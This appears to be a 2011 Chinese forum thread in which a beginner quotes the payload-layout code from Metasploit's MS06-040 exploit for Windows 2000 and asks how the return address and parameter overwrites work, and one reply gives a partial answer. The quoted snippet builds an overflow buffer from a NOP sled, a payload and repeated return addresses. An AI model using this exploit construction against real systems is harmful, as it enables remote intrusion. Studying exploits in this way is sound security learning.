首页
社区
课程
招聘
[旧帖] [求助]关于metasploit中ms6-040脚本的疑问 0.00雪花
2011-6-9 17:06 4120

[旧帖] [求助]关于metasploit中ms6-040脚本的疑问 0.00雪花

2011-6-9 17:06
4120
win2000的数据构造如下:
code = make_nops(mytarget['Offset'] - payload.encoded.length) + payload.encoded

path = code + ( [mytarget.ret].pack('V') * 16 ) + "\x00\x00"

stub = NDR.long(rand(0xffffffff)) +
           NDR.UnicodeConformantVaryingString('') +
           NDR.UnicodeConformantVaryingStringPreBuilt(path) +
           NDR.long(rand(250)+1) +
           NDR.UnicodeConformantVaryingStringPreBuilt("\xeb\x02\x00\x00") +
           NDR.long(rand(250)+1) +
           NDR.long(0)

其中:'Offset' => 1000,
         'Ret'    => 0x00020804

这个缓冲区漏洞的布置方式和failwest的布置方式有很大不同,本人是新手,所以不是很明白,有两个问题:(1)它采取得shellcode定位方式是啥?也就是0x00020804代表什么?为什么布置这么多返回地址,感觉也没有增加命中率啊。
              (2)参数4和参数1的长度为1000+16*4+4=1068=0x42C,相当于把后面五个输入参数全部覆盖了,为什么要覆盖这五个参数?感觉没什么作用啊?

[培训]《安卓高级研修班(网课)》月薪三万计划,掌 握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
点赞0
打赏
分享
最新回复 (3)
雪    币: 30
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ropin 2011-6-11 18:07
2
0
哎,竟然没有人解答
雪    币: 34
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
vegafish 2011-6-20 22:31
3
0
關於您的第一個問題,我猜測0x00020804代表返回位址,而16個位址雖然不能增加命中率,但在一般測試時常常有這樣的做法。雖然只需要一個返回地址就可以取得控制,但是在測試過程中,欲執行程式碼的大小可能會改變,設置多個返回地址可以讓攻擊者到時候不必再回頭改位址。

關於您的第二個問題,若您能更加敘述清楚些,希望我能夠解決您的問題。

--
各位好,我來自臺灣,用語和內地朋友的習慣略有不同,請諸位見諒。
雪    币: 8
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
空流儿 2011-6-20 23:34
4
0
楼主分析的很厉害啊,看不懂我
游客
登录 | 注册 方可回帖
返回